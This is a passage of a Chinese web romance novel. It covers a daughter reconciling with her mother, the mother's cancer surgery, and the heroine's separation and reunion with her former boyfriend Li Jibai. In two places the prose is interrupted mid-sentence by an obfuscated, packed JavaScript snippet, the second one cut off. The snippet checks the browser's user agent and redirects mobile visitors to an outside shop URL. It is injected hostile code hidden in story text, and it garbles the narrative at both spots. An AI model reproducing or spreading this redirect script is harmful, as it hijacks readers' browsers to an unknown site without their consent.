刘循书跟刘叙言对视一眼,道:“小舟,丽萍嘴上说让你别管她,但她心里很想跟你亲近。叙言不在这里住,要不这段时间你先搬过来?” 何筱舟吸吸鼻子,“不合适吧?” “合适合适。”刘叙言说。 他引她到次卧门口,“我出柜的时候,我爸把我赶出家门,我的东西也都给扔出去了。这间房空了很久,你放心,很干净,缺的东西我这两天买齐,争取让你拎包入住。” 何筱舟眨眨眼,一时不知该说什么。 刘循书果然立眉瞪他,“就你这点破事说个没完了是吧?” “看着没?”刘叙言朝何筱舟偏了偏肩膀,刻意把声量压低但又能让刘循书听见,“老头到现在还介意当初的事呢,亏他还是老师,老古董一个。” “我教的是考古,本来就只跟老古董打交道。” 何筱舟笑了笑。 她在两人拌嘴的缝隙里,抽空扫了眼这间屋子。空间不算大,1.5m的单人床放在正中,旁边是整墙衣柜,靠窗边搁了张书桌。 目之所及一片空荡荡,书桌、床头柜上半点个人物品都没有,甚至连木板床的床垫都清空了。 刘老师还真是…… 新安社区离这里太远,不方便随时赶到,何筱舟本就想着找房子搬到附近。 便没再回绝,“该置办的我来弄就行,就是要给刘老师添麻烦了。” “小舟,你就当这是自己家,别拘谨。” “哎……”何筱舟还是不太适应这样的温情,有轻微的无所适从之感,“那我先去看看我妈。” 她逃也似的撤到主卧门口,深吸口气,想再做下心理建设,但房门没关,她一眼就看到了靠坐在床头的女人。 仍不大有精神,面色萎黄,戴着薄款的针织帽,底端露出几绺稀落的头发。 何丽萍偏脸回避她的视线,“怎么又来了?” 何筱舟有点想笑。李既白说的没错,她和何丽萍很像,几乎是如出一辙的口不应心。 方才外间发生的事何丽萍应当都听到了,看到她时分明是惊喜的,第一反应却还是将她推远。 何筱舟关上门,坐到床边的椅子上,“是,我又来了。不仅来了,未来一段时间还要住在这。” “妈,怎么办啊?我又成了你的拖油瓶了。” 何丽萍抬眼看她,嘴唇抖动着,四周布满细纹的眼睛里逐渐积蓄起泪光。 这句话横亘在她们之间那么多年,如今主动提及,倒不像翻旧账,反有点释怀的意味。 她抓住机会,急急开口:“舟儿,事到如今,我要告诉你的是,我从来没有这么想过。那些说过这话的人,我都骂回去了。” “我那时是气急了,口不择言。结果伤害了你。” “后来,我也不敢再轻易提起这件事。” “舟儿,你怎么会是我的累赘,你是我的女儿,我的骄傲。哪天我真的走了,最放心不下的还是你。” 何筱舟握紧她的手,摇摇头。“我也有错。太偏激,太固执,不够体谅你当时的难处。” 何丽萍反握住她。 一时间,谁都没有再说话。 芥蒂凝冻许久,放肆生长,却也在重新牢牢扣紧的手掌间悄然消弭。 隔了会,何丽萍有些愧疚地低垂下头,“现在是我成了你的拖累,这些天耽误你工作了吧。” “咱俩一定要有一个人被定义成拖累吗?” 何筱舟觉得她在钻牛角尖,“你仔细看看我,我现在很好,你要相信我有能力处理好这些事,就像你当初一个人撑起我们的生活一样。” “爸爸是突然走的,是意外,我们没办法阻止,但是你也听到医生说什么了,我们还有很长时间可以好好做家人。” 何筱舟倾身凑近,脑袋抵上她肩头,语气是她自徐成德去世之后就没再轻易显露过的依赖,“妈,你不能让这世界上只剩下我一个人。” 何丽萍搂紧她的肩膀,手指一下下轻捋她的头发。 隔了会,才沉沉舒口气,低声说:“好。” 卧室窗帘是闭合的,只窗子被稍稍打开了一道罅隙。 有微弱的风漏进来,吹动外层的纱帘,轻飘飘落在何筱舟身上,她却浑然未觉。 多日来的疲惫感累积到一定程度,渗进骨缝,如涨潮般将她淹没,她就这样以极其别扭的姿势倚着何丽萍睡着了。 恍惚回到了记忆里的夏天,蓝天、白云、绿树、红墙、棕椅,她们悠闲自得地等徐成德下班,猜今天晚上有什么好吃的,小小的她窝在何丽萍怀里安然入睡。 时光将画面蒙上层滤镜,像童话故事里的插图。 世界仍然是有色彩的,她也什么都没有失去。 * 何筱舟被手臂传来的阵阵麻意唤醒。 睁眼看见何丽萍拿着钩针,正在理线团,一直悬在半空的心脏终于沉回原位。 她小幅度扭了下酸痛的脖颈,手拖着下巴,双眼朦胧地问:“这是打算做什么?” “随便弄弄,打发时间。” 何丽萍小声嘟囔:“哪里都去不了。” “对了,你要搬过来的事,跟小李说过吗?” 何筱舟撇开视线,“……没有。” “虽说这孩子比你小几岁,不过,人看着倒是挺稳重的。” 何丽萍说着,留意到她闪躲的表情,意识到什么,用钩针敲她脑门,“不是分了吧?” “这才谈多久?” “你啊,做什么事都稳妥,对感情能不能认真一点?之前那次相亲就是,还没怎么接触就跟人……” 何丽萍住声,不自在地说:“算了,我不说了,你主意正,也不会听我的。” 何筱舟被这熟悉的唠叨烘得清醒了点。 她没心思周旋,因为猛地想起来李既白还在楼下等她。赶忙拿手机看时间,距离她上楼已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17324487|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去了近三个小时。 “妈,我还有事,先走了。” 何丽萍叫住她,郑重道:“舟儿,以后我会积极配合治疗。但是不要让这件事影响你原本的生活,哪怕结果不好,你也不要过分伤心。要向前看。” 何筱舟整理好托特包,冷静地递去一个警惕的眼神,“敲木头。” 何丽萍一愣,笑了,“你不说这是封建迷信吗?” 还是依言在木质床头屈指轻敲了三下。 “有事及时给我打电话啊,别再藏着掖着。” “知道了,路上慢点。” 经过客厅时,何筱舟稍作停留,跟刘家父子简单寒暄一通才下楼,沿楼栋间蜿蜒的小路又回到那片公共休息区。 李既白仍坐于树下的长椅上,手臂懒散地搭着椅背,头微微向后仰着。他戴着耳机,眼睛微阖,远远看去就像睡着了。 何筱舟心里仿佛滚过携着热度的风。她悄悄挪到他身边,伸指轻轻戳他手背上清晰的筋脉。 李既白旋即睁眼,摘下蓝牙耳机,“聊完了?” “不好意思啊,让你久等了。” 她眉间愁绪已然被松弛感取代,唇角也放松地微微勾着。 李既白跟着缓口气,“看样子结果还不错。” “嗯,”何筱舟认真看他,“这要谢谢你。” 李既白坐直,不甚在意地把耳机塞进裤兜,“你已经谢过了,我收到了,不用谢。” 他像赶着完成任务般急切,“还要去哪里吗?” 这并非危险话题,但似乎预示着告别。 何筱舟心里一沉,勉力维持笑意,“去之前那家江景餐厅?我请你吃晚饭。” 李既白抿起嘴角,推拒意味十分明显,“那家店要提前预约,临时没有位置。” “那去我家,做饭吃?” 她以为他还会像之前那样召之即来吗? 李既白屏息斜睨她,站起身,凉声说:“不去。” * 车驶上环线高架,开往新安社区。 李既白全程没有说话,像个只设置了驾驶程序的智能机器人。 步行从停车场回家的路上,何筱舟低头瞧着他被夕阳拉长的影子,忍不住想,如果他真的只是机器人就好了。 这样她就可以根据他的行为推测他的内置程序和算法。 而不是想破脑袋也猜不出,他明明一开始看上去很抗拒见她、很生气的样子,为什么还要那么周全地照顾她,给她点餐,送她去何丽萍那,听她讲一箩筐的话,等她好几个小时,又把她送回家? 而且,他是不是有进度暂存的功能,随时可以切换至不同的状态。 分手以后,他多变到让她捉摸不透。 眼看快走到门口,何筱舟出声叫住他。 李既白脚步未停,只侧过脸,以眼神询问。 她抬手,想抓他的手臂或衣摆,让他停下来,好叫她能相对顺利地把脑袋里乱糟糟的思路捋顺,不至于再次词不达意。 但如果最后还是讲不通…… 她能强吻他吗? 不,不行。 现在的问题已经不能再用简单粗暴的亲密行为来解决。可能还会更糟。 何筱舟颓然收臂,手指焦虑地绞在一起。 李既白看出她的踟蹰,站定在原地,“想跟我说什么?” 何筱舟仰脸,“你是不是很不想看见我?” 54. 告别 离开津海前,李既白单独空了些时间处理琐事。 房子退租,书柜里的飞机模型暂放进季惟诸多居所中的其中一处,人体工学椅送给同事,盆栽留给邻居,其他尚有使用价值的零碎物件上传到二手交易平台,至于香薰——那段时间他整个人险些被泡成松香味。 整个过程,李既白始终保持着一种习以为常的平静。 大概因为他在成长过程中已经习惯了迁徙。 从福利院到南岸到湄湾岛再到津海,距离在逐渐扩大,他也在不断将自己打碎重塑,一步步学会了割舍。 喜欢的漫画书,最中意的玩具,亲手栽种浇灌的花苗,幼时玩伴,属于他的照片墙,投契的好友…… 他有限的人生里一直在被迫重复做着加减法,恶性循环一样,他的世界有来有往,却始终没有谁会永久驻留。他就像是一朵云,没有根源,没有依凭,被风吹着,飘到哪是哪。 “嘿!Finn!Finn?你怎么了?” 李既白回神,对刚和家人道别完的陈泽笑了下。 “没事,认错人了,我们走吧。” 但他唯一没有学会的,是如何彻底将一段关系从血肉记忆中剔除干净。 视线尽头是极清落的一道背影,高挑、纤直,穿着素淡的条纹衬衫,憧憧人影里,如注入了冰块的纯净水,即使在夏天,也显得那么冷清又淡然。 机场的出入口人来人往,那道身影很快被人流淹没,快到像是他一晃神的错觉。 只凭空将他的心脏狠狠攥了一把。 李既白最后眺一眼,收回目光,同陈泽一起前往国际出发区。除了同事外,他没有把离开的具体日期告诉任何人。 所以,那应当不是她。 “竹晓。” 何筱舟回头,潦草牵了牵唇,“麦克。” 她接过他的行李,利索搁进后备箱,“CKMP目前有三个项目包括领航正在走验收流程,与丰源车企的合作已经完成立项,其余正处开发阶段的项目都在按计划进行,均无延期风险。” 麦克点点头,“丰源的会定了什么时间?” “下午两点。” 麦克抬腕看表,“差不多了,现在直接过去吧。” 何筱舟发动车子,关合车窗时,无由侧首,朝着人流如织的大厅望去一眼。 那里熙熙攘攘,旅客密织,行李箱的滚轴声和紧密拥抱接替上演,宣示着一幕幕正在进行的离别与重逢。 * 何筱舟生日这天是周末。 何丽萍精神上佳,一大早指挥刘循书去菜市场买来新鲜鱼肉和蔬菜,思忖须臾,又在清单末尾加上年糕和桂花酱。 “老徐的拿手菜,舟儿小时候最爱吃了。” 何筱舟十分审慎地瞄眼刘循书。 后者完全不在意,弯眉一笑,“是吗?那我今天学一学。到时候小舟尝尝,给我打个分。” 待刘循书出门,何筱舟挽着何丽萍拐进卧室,小声说:“你当着刘老师的面提爸?不太好吧。” 何丽萍用研判老古董的目光看她,“哪里不好?” “你们年轻人还老是问什么,我和你前任谁更好看的问题,我就说你爱吃你爸做的菜都不行啦?” 何筱舟哑声。 “你这房间,要不要挂几幅画?太空了。” 何筱舟搬到明逸苑居有一段时间了。 刘叙言帮忙购入一张新的床垫,换掉了旧书桌。何丽萍则按她的喜好选好床品,又添了许多软装,大都是她亲手钩织的一些衬垫或小装饰,比之先前那样的空旷生动温馨不少。 “不用了吧。” 何筱舟说:“也住不了多久,再过段时间你不就手术了吗?” 独居生物重新融入“家庭”的过程像被修剪过的老树再度长出枝杈,虽然新鲜又富有生机,但偶尔会出现排异反应。 她不太习惯,总感到无所适从。 尽管刘循书很好相处。 他为人和善,没有半点不适应地轻易兼容了何筱舟的起居和作息习惯,还经常变着花样买回来一些明显更符合年轻人口味的零食和水果。 倒并非她印象中这个年岁的教授性格。 只不过,在某些方面的审美仍旧老派。 赶饭点来的刘叙言对着八寸的老式寿桃蛋糕点评了不下十分钟。 最后撇一句,“算了,这年代能买到这样式的蛋糕也是挺厉害的。” 何筱舟只感到新奇。 是不是夏日午间空气中氤氲的热度总容易让人产生错觉?她恍惚回到了幼年时期,连奶油的腻甜、桂花的香气都如出一辙。 何筱舟在三人殷切的注视下阖眼。 她很多年没有这样认真地度过生日,通常买块小蛋糕就粗浅地算作仪式感,许愿对她来说更是多此一举。 因为她由来都更喜欢自己把控方向的踏实感。 但如果有些事已经尽力,或许也可以将希望寄托于未知的力量。 她贪心又郑重地,默念出心底的期许。 睁开眼时,蜡烛的余烟还未彻底散去,何筱舟处于热闹中央,只觉鼻头都被那烟雾熏得发酸。 吃过饭,何筱舟被强制赶出家门。 何丽萍振振有词,直言她最近除了上班就是陪着她,脸都闷绿了,就这个下午,哪怕沿海边走走,也比在家和她大眼瞪小眼强。 还给她派了任务,过晚上才能回去。 何筱舟哭笑不得,她根本不知道该去哪。 车子漫无目的地驶入滨海路,重复折返于宽阔、人迹稀少的沿海大道。 茫茫然如海洋馆中游来荡去的鱼,视野宽远,却总是找不到真正通往自由的出口。 她刻意制造着某种单调、无聊的循环,不停重复直行、调头、直行、再调头的机械运动,妄图以此来避免空闲下来后大脑自动陷入“去年今日”的回顾里。 但音乐播放器先她一步。 短暂的停顿后,在播歌曲切换至一段潮湿的风声。 何筱舟顿时记起,也是她的生日,男生赶在那天结束之前匆忙抵临她的住处,浑身脏兮兮的,笑容却干净,被洗过一样。 记忆如潮涌,随风雨声一起,呼呼灌入脑海。 突如其来到不给她留一点呼吸的余地。 很长一段时间里,何筱舟认为感情对她来说是多余的,她不再需要谁来共享喜怒哀乐。过去曾拥有体验过的温暖以及她对未来坚定的规划,足以支撑她阔步前行,无惧无畏。 然而,不知道从什么时候开始,她凝固已久的血液被注入新的活力,让她想要试一试,从她赖以生存的那间旧房子里跨出一步。 她无法确定改变发生的具体时间,因为那并不明确,大概是从期待见到他开始。 就像现在。 音频时间不长,刚刚够等一轮红灯。 何筱舟猛踩油门提速,开进路侧临停车位,拿手机买了最近一班机票。 她知道李既白去了德国,他朋友圈的九宫格,他视频账号的IP,很多细节都彰显他已经远行的事实。 但她此刻的冲动难以落地,她想,离他近一点也好。 …… 何筱舟于落日之前抵达南岸。 它与津海同为沿海城市,却存在那么多不同。 高大棕榈树与天边暮色互为点缀,海水是巨幅镜面,将黄昏收入自己囊中。 如油画般色彩纷呈,互相协调,并无任何冲突,不像津海,海面永远都是灰扑扑的。 何筱舟打车前往离机场最近的码头。 但她晚了一步,没买到最后一班前往湄湾岛的船票。 说不上有多遗憾。她如今在走的路或许李既白也走过。这样想着,何筱舟拐进街角一家很具特色的文创小店,随便买了一张明信片。 提起笔却不知该写什么。 只好,留下她今日愿望里,与他相关的“贪心”之一。 * 何丽萍的手术安排在十一月中旬。 津大附医乳腺专科的主任亲自主刀,何筱舟心里仍没底,等在手术室外的时候,手心直冒冷汗。 乔楠在一旁宽慰她,“别怕,医生不是说了吗,成功率很高。” 除去最难适应的那段化疗期,何丽萍后期很配合治疗,或许跟她的心态有关,初步治疗效果很显著,她本人对这最后一关看得很开。 进手术室前还在宽慰众人,“回头馄饨店重新开业了,我要办半个月的免单活动。” 乔楠和刘叙言最会捧场:“得嘞,到时候可着满津海城给您打广告,要玩咱就玩波大的!” 何筱舟死盯着门口的红灯,几乎不敢挪动一步,畏怯到生怕引发什么连锁反应。 刘循书坐在她身边 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至于李既白后来帮忙购入的那对,她将其妥善收好了,搁进抽屉深处。 她仍旧不知林湛的墓地在哪。想来想去,唯一适合告别的地方,还是山路的那处弯道。 上次留下的那箱子旧物已经不知去向,这枚质量更轻的耳环,不知道会在此处滞留多久。 何筱舟无法判断这算不算是真正意义上的告别,她只是感觉到,没有坍塌,没有裂隙,她的内心不再是上次回去时那样的空洞。 三天假,何筱舟安排得很满。 下山后又直接飞去桐陵,徐成德去世后,何丽萍做主,把他带回桐陵,葬在了远郊的墓园。 何筱舟没有买花,只带去了一枚何丽萍亲手做的钩织玩偶。 她坐了一会,没有主题地断断续续说了说这一年匆匆忙忙间发生的事。琐碎的,普通的,激烈的,如同在唠家常。 临走前,何筱舟蹲身抚了抚照片上男人浓重的眉目,淡声道:“我妈身体恢复了,现在一切正常,刘老师,他是个很好的人,你放心……” “爸,我以后……可能会离开新安社区,真正的离开。因为我已经确定,我不再需要浮在过去里,从记忆里的那些温暖汲取力量了。” “你应该不会怪我吧?” 她说着,伸手拂去掉落在碑前的枯叶,许是她的错觉,那枯叶似有引力般,绕着她的手指打了个圈,才缓缓飘去地上。 何筱舟在桐陵逗留了一整天。 她乘坐757去了梧桐街,在这趟文旅专线上,又听到了那段语音播报。正值“冬雪覆冠”,只是桐陵极少下雪,枯枝高耸着,肃然如径直捅刺进天空的一把剑。 何筱舟举起相机,对着一整幕灰白拍下一张。 没什么值得纪念的,她只是想分享给李既白,用他送的那只相机。 男生的朋友圈照常每周更新一则,九宫格图片,无文案。不同的是,他记录的内容不再生动,不再色彩鲜明,和德国的冬日一样,阴冷、潮湿,蒙了层晦暗的阴影。 他的对话窗口沉至列表末尾,她每次点开时,必须要很小心,才能避免误触拍一拍。 行至步行街,何筱舟被拐角一家茶饮店吸引了目光。 很别致的装修,与古朴的建筑融为一体,但又有其独特的风格,logo走简约设计,以线条勾勒,内里大多数装饰也仅凭线条状灯带构成,极简又精致。 如果没记错,李既白曾远途给她带过一杯,还有许多漂亮有特点的周边。 何筱舟不知那款茶的品名,只能凭记忆向店员描述口感和味道。 店员很奇怪,因为她对此没有丝毫印象。 倒是柜台里悠闲晃摇椅的老板惊奇喊道:“是你?” 何筱舟不解。 店主声情并茂地讲起那则旧事。曾有个很奇怪的男生,借用店里冲泡好的茶底亲手调过一杯饮品。 他说喜欢的女生钟爱桂花,他想融合桂花口味,但因为茶底的味道占主要比重,试了很多次都不行,最后干脆从泡茶开始,才算做出了让他满意的。 原来是这样。 何筱舟不知该作何表情,苍白地笑了下。 她总是在刻舟求剑,如今却像被剑刺穿了一样,心口一片空茫。 55. 掠夺 杨新离开南岸之后,没多久,李既白久违地接到了大学室友的电话。即是毕业前夕和他约定一起去西藏,最后临时爽约的旅伴。 他当时签了工作,是家很不错的公司,被放鸽子的李既白不觉失望,反为他高兴。 但这次—— “白,哥们儿要结婚了。原先的伴郎突发急性阑尾炎住院了,你有时间吗?来帮忙顶一下呗。” 从前他习惯做替补,像万能的NPC角色一样,在各种各样场景里被调配,填补空缺。 而今再发生这种情况,他第一时间只感觉到被冒犯,可能是因为对方语气里的放松和理所当然,好像笃定他一定会应承下来。 李既白想出言回绝。 那头先行出声,热情到不容推辞,“来吧来吧,我也叫了其他同学,大家太久没见了,就当聚会。” 大概是他太过敏感。 李既白这样想着,沉口气,还是答应下来,预订了去津海的机票。 出发那日,天气状况不是特别明朗,云层厚重,每每日光刚要艰难地探出一缕,就很快被遮蔽。 乘船出岛时,那微薄的光线几乎完全消失了。 等他从码头出来,被一场猝然突至但又预料之中的雨暂时阻隔住了脚步。 空气里氤氲着热空气和雨水混合后的腥咸味道,上一秒还熙熙攘攘的街道,转眼间,行人如鸟兽散,纷纷躲进路侧的商铺里避雨。 匆忙间,李既白被人流簇拥着拐进一间铺面。 南岸最不缺这类风格鲜明的杂货小店,琳琅满目的商品堆簇着,拥挤但有序,随手拣一件,都会很适合用来装点生活。 李既白打算随便买把雨伞就走,绕过货架,却被一侧墙上凌乱挂着的纸片吸引了目光。 近看才知,那是便签与明信片。 不同颜色、图案的载体之上,涂鸦着不同的心愿和憧憬,留言的落款缀着不同的地点,来自五湖四海的心声汇聚在此,围成一方充满希望的小天地。 以前在学校附近见过不少类似的装饰墙,李既白见怪不怪,但不免感到很难得,经过时,不由多看了几眼。 本只是随意一瞥,甚至他的步伐都没慢下来,却压根没料到,会在上面瞟见自己的名字。 李既白顿足于墙边,避开它周围的,小心取下。 一张落日橘海的明信片,简单只写着一句话,右下角标注了日期,是去年的8月4号。 她的生日。 李既白不知道他在原地干站了多久,四肢像被钉牢一般,无论如何也再难有其他动作。 血液里奔腾着的,是释然还是遗憾,他辨不清。 李既白缓缓捏紧手里薄薄的纸张,像溺水的人抓紧了唯一一根浮木,谨慎又用力。 当下只有一个念头。 横冲直撞地,击溃他所有的理智。 * 何筱舟离职这天,刚好是她入职知界的第八年。 以前惯常提前铺好后路的人,这次竟没先确定好后续的工作,就直接干脆、一身轻松地裸辞了。 年初同何丽萍说起这番打算时,她并无担忧,相反很支持,“我给你存了一笔钱,干脆趁这机会,好好歇两年。头脑清楚了,更能看明白以后应该走哪条路。” 何丽萍很有远见,除了一直在缴纳的灵活就业社保外,还购入了好几支保险,重疾、人身意外,各方面都有保障,所以前次的手术和治疗,基本不需要自费。 而她给何筱舟存的钱——准确来说,是黄金。她用馄饨店的收入到银行购入金条,多年积攒下来,再按如今的价值估量,已经是一笔很可观的储蓄资金。 何筱舟得见以后,震愕的半天没说出话。 她自然不会接受,劝说何丽萍,她的身体虽然逐渐恢复了,预后效果也不错,但不宜再操劳,店盘出去,想做什么就做什么,吃喝玩乐,尽情把这笔钱挥霍掉。 而何筱舟,在股权激励兑现之后,赶在一个高点全部抛售,加上公积金,于清澜河岸选了一处价位适中的楼盘,全款购入一套三居室。 她最喜欢新屋的窗景,框住一幅阔河悬日,朗晴明媚与烟波浩渺,随时可尽收眼底。 装修的过程如同筑巢,她目睹粗糙灰暗的空间一点点变得明净亮堂,只觉她的生活也在慢慢恢复通透晴朗。 然后,等到又一年度的年中述职期,她放弃了再向上晋升的机会,以去年评定的资深专家职级作为终点,正式从知界退场。 最后一个工作日,何筱舟平静地将剩余的个人物品整理完,在CBD附近安排了一次聚餐,跟团队的成员简单作个告别。 地址选在一间餐酒吧,装修风格偏美式,很有种公路文化的氛围,光线昏暗,播着慵懒的蓝调音乐,放松又惬意。 何筱舟不是热闹的性格,部门员工大多也寡言,席间活跃气氛全靠陈曦和文途,但有场合背景作为加持,没过一会,也就热络了起来。 是以,麦克出现的时候,桌面上爆发了一阵小范围的尖叫起哄。 何筱舟感到奇怪,但现在没有上下级限制,便蹙起眉冷脸开玩笑,“我好像没有邀请你。” 麦克耸耸肩,“我不请自来,蹭前员工的饭。” 何筱舟笑着喊来服务员加了把椅子。 他倒真像来吃饭的,不玩游戏,不参与话题,全程没停过筷子,有人敬酒一律以茶代替,无处安放的热情最后全进了何筱舟的胃里。 导致她慢慢有点醉了。 一餐饭吃到尽兴,结束时将近晚上十点了。 何筱舟与曾经并肩前行的同事们一一告别,等人散尽,她去结账的时候,却被服务员告知已经结过了。 服务员说,是和她坐一起那位看着很冷酷的混血长相男人。 何筱舟不理解,拎包站在路边,给麦克转账。 麦克好整以暇地从马路对面过来,朝他新买的座驾扬了扬下巴,“我送你回家?” “行,你先收钱。” 何筱舟站立不稳,但理智尚存。蹭饭可以等同于蹭车,帮她结账这事,可能不会再有机会回馈。 麦克见她很坚持的样子,依言收下,引她过马路,将车解锁。 和房东约好了明天交房,何筱舟想最后再检查一遍有无遗落的物品,便跟麦克报了新安社区的地址。 车停在巷口的便利店门前。 何筱舟同他道谢,下了车,步伐有些凌乱地拐进通往小区的窄路。 麦克大约是不放心,亦步亦趋跟在她身后。 “还有事吗?”何筱舟问。 “辞职之后,你有什么打算?” 何筱舟含糊应付,“先gap两年,找人。” 麦克诧异,“这听起来不是你的风格。” “麦总监是想听前员工做职业规划?” “现在是私人时间,我倒也没这么热爱工作。” 麦克说:“我是想说,如果你暂时没有想法,我有朋友在做智能机器人这方面的业务,你有兴趣的话,我可以把详细资料发你,推荐你去试试。” 何筱舟脚下未停,思索着回绝的说辞。 前段时间余歆然听说了她离职的事,也问过她愿不愿意加入她的公司。她说现在的运营状况很稳定,也跟苏祁做完了切割,她可以给到技术总监的岗位,让何筱舟能放心施展拳脚。 何筱舟同样推拒了。 关于未来发展,她心里已经有了个大致的方向。但就像何丽萍说的,她一直没停下奔跑,忽然间泄了劲,就想慢下来,甚至试着按下暂停键。 “谢谢麦克,但我现在不考虑。” 她说的很直接,麦克却并没异色,表示理解地点点头,“Alright.祝你好运。” 对这位上司,何筱舟没有什么特别的评价。 她一直很认可他的工作作风,利落,赏罚分明,不拖泥带水,不偏颇,对所有人都是一视同仁的漠然。 让她略感不适的是,他有时候讲话过于犀利。 不过她也没想到,他会这样关照她,从先前领航的事,后来又提醒她做辞职的决定要谨慎,到现在,他竟还想着帮她介绍工作。 何筱舟驻足原地,看着他,真诚道谢。 麦克撇唇,“希望下次再见面的时候,你能跟我说些谢谢以外的话。” “那取决于你先跟我说什么。” 麦克不动声色扬手,示意她终点到了,“再见。” “再见。” 何筱舟侧头望着男人逐渐远去的背影,后觉地生出一丝轻薄的怅然。 下午离开办公楼的时候,还没有这种感觉。 但此刻,应当就算是她对知界最后的告别了。这样轻飘飘,无疾而终,似乎八年时间根本不值一提。 何筱舟仰头对着夏日晴朗的夜空呼了口气,垂首时脑袋一晕,感觉到身体里翻涌的酒劲,勉力稳住身形,缓慢地走往入口处。 夜里的旧居民区安静极了,静到何筱舟只听见鞋跟敲击地面笃笃的响声。 空气被夏季的热浪挤压得无法流动,树梢沉默,枝叶静展,一切都好似凝固了,只有她在动。 以至于从树下经过,嗅到那一缕不甚明显的草木清香时,何筱舟还以为是她的错觉。 但是树后,分明正有人站在那里。 何筱舟心跳鼓噪,改道绕过去,看清楚那人的瞬间,只觉她好像也被凝固了。 男生穿清正的衬衫长裤,大概是从什么正式场合过来的,颈间还系着领带,同色系的西服被脱下,搭于臂间。 何筱舟很认真地注视他。 说不上来他有哪里变了,倚树立在那,无端有种冬日薄雪的清寒感,不若以往,似四月风般柔和又温煦。 以他们现在的关系来说,她的目光其实是有些冒犯的。 可实际上,她不止想看他。 李既白也看着她。 但谁也没有先开口,好像从前所有未尽的话都在视线的交汇里说完了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不怎么样,他不吃这套。” “怎么会?” “怎么不会?赶巧我还喝了酒,但他很冷静,不是很想搭理我的样子。” 乔楠却涌起斗志,“可能是今天突发情况,比较被动,明儿我跟季惟打听一下他最近的情况,咱主动出击。” 听筒里半晌没回音。 乔楠狐疑地问:“喂?你听没听?” “可能……不用了。” 乔楠恨铁不成钢,“为毛?你就这么放弃了?” “不是。” 何筱舟远远望着那道去而复返的高大身影,“他又回来了……” 李既白步速极快,何筱舟甚至能听见皮鞋用力踩踏地面的声响,慢慢地,快走切至小跑,又渐而演变成狂奔,她眼见他的白色衬衫鼓起来,像风钻进他体内。 而她好似在共感这个过程,身体一同变得轻盈。 没多久,他消失在楼栋拐角。 何筱舟闭上眼睛,却更清楚地听见心跳在读秒。 体感过了很长时间,当她开始怀疑自己,今晚发生的事或许是她醉酒后的梦境时—— 门口传来了急促、焦切的叩敲声。 何筱舟从阳台走去玄关,每一步都像踩着鼓点。 她思绪纷乱,根本无法思考该说些什么,该做些什么才不会让他再次一走了之。 事实上,李既白根本没给她开口的机会。 他站在门边,手掌控住门,未等气息平复,便劈头盖脸问道:“你喜欢我吗?” 随即,又不自信地改口:“你真的喜欢过我吗?” 何筱舟当下只觉语言苍白,或者是她本人苍白。 她深深看进他晦暗如深海的眼底,牵起他一只手,置于她颈侧的位置,想让他感知她此时频率过快的心跳。 “感觉到了吗?” “喜欢,没有过。” “嗙”一声,门应声关上。 何筱舟被一股不容推拒的力道抵在墙边。男生可能嫌碍事,直接将臂弯挂着的西装外套丢在地上。 他的膝盖挤进她腿间,双手拊着她的脖颈,将她的下颌微抬起来,凶狠地、不留一点余地地吻住她。 何筱舟揪住他的衬衫衣料,踮脚回应他。 他们交颈纠缠,如同两只饥饿已久的困兽,所有动作仅凭本能,仿佛不是在亲吻,是发泄,是侵占,是掠夺,是确认。 她渐渐有些缺氧。 李既白稍稍退开,哑着声音喊她:“何筱舟。” “嗯?”她睁开迷蒙的双眼。 清明感仅在眼前停留了一瞬,他再度倾身,咬住她的唇,丢下一句含糊不清的告诫。 “这次,看清楚我。” 56. 暴烈 何筱舟很喜欢他此刻的吻。 尽管激狂,尽管狠戾,游走于失控的边缘,却让她感到真实,胸腔被填满了,充盈了,将这近一年来的空茫尽数驱散。 但她喝了太多酒,本就呼吸不畅,没多久,胸腔内便传来近乎窒息的痛感。 她只能暂时推开李既白,伏在他肩头细细喘气。 轻浅的呼吸喷洒在皮肤上,像羽毛若有似无地刮过,激起一阵抓不住源头的痒意。 李既白垂眼看着她柔软微红的耳垂,手掌按在她背后,沉沉吐息。 却并没有开阔或是舒展的感觉。 这方狭窄的空间自成结界,他和她被困于其中,进退维谷。 但不耽误他留意到被清空的玄关柜面。 他目光一凛,伸手开柜门,只扫一眼,又关上。 门页闭合时,空闷的沉响携着回音,荡在局促的玄关之间。 何筱舟猜他大概是想先换鞋进屋,毕竟他们当下的姿势其实是有些别扭的。根本称不上是拥抱,身体间还留有空档,仅靠一点连接互相撑扶着。 她正欲开口,听见他克制地问:“我的拖鞋呢?” “还有那只瓷盘。” 理智告诉她应该实话实说,但他的语气令何筱舟忽而想起之前楼下的冷言相对,梗着脖颈,一字一顿道:“扔了。” 李既白咬牙,手指捏住她的下巴,“何筱舟,你的念旧是因人而异吗?” 她没作声,轻咬住唇内的软肉。 “算了,”李既白扯唇,无所谓地笑,“反正你的也被我扔了。” 闻言,何筱舟用力拽他的领带,死死堵住他的嘴巴,一并吞没他嘴角噙着的刺目笑意。 李既白气急地将她拉开,“又来这一招是吗?” 何筱舟有理有据,“这次是你先开始的。” “行,待会你别躲。” 李既白的眼神里带一股要与她同归于尽的狠绝,冷静地撂下一句警告。 他目光不错地盯紧她,扯开领带。 随后,单手箍住她的手腕,缠紧,打了个死结。 “……” 何筱舟看得一呆,还没来得及挣扎,就被李既白扛上肩膀。 眼前的一切都在旋转,她分不清,是骤然间被抱起的生理反应,还是酒精带来的滞后效果。 她被带进卧室。 但——床上只余一张床垫,至于其他家具,以前所有摆在明面上的物品全部不知所踪。 李既白愣神几秒,不轻不重地拍了下她的屁股。 “你家被打劫了?” 何筱舟的理智被身体里的酒精一点点蚕食,说话开始不过大脑。 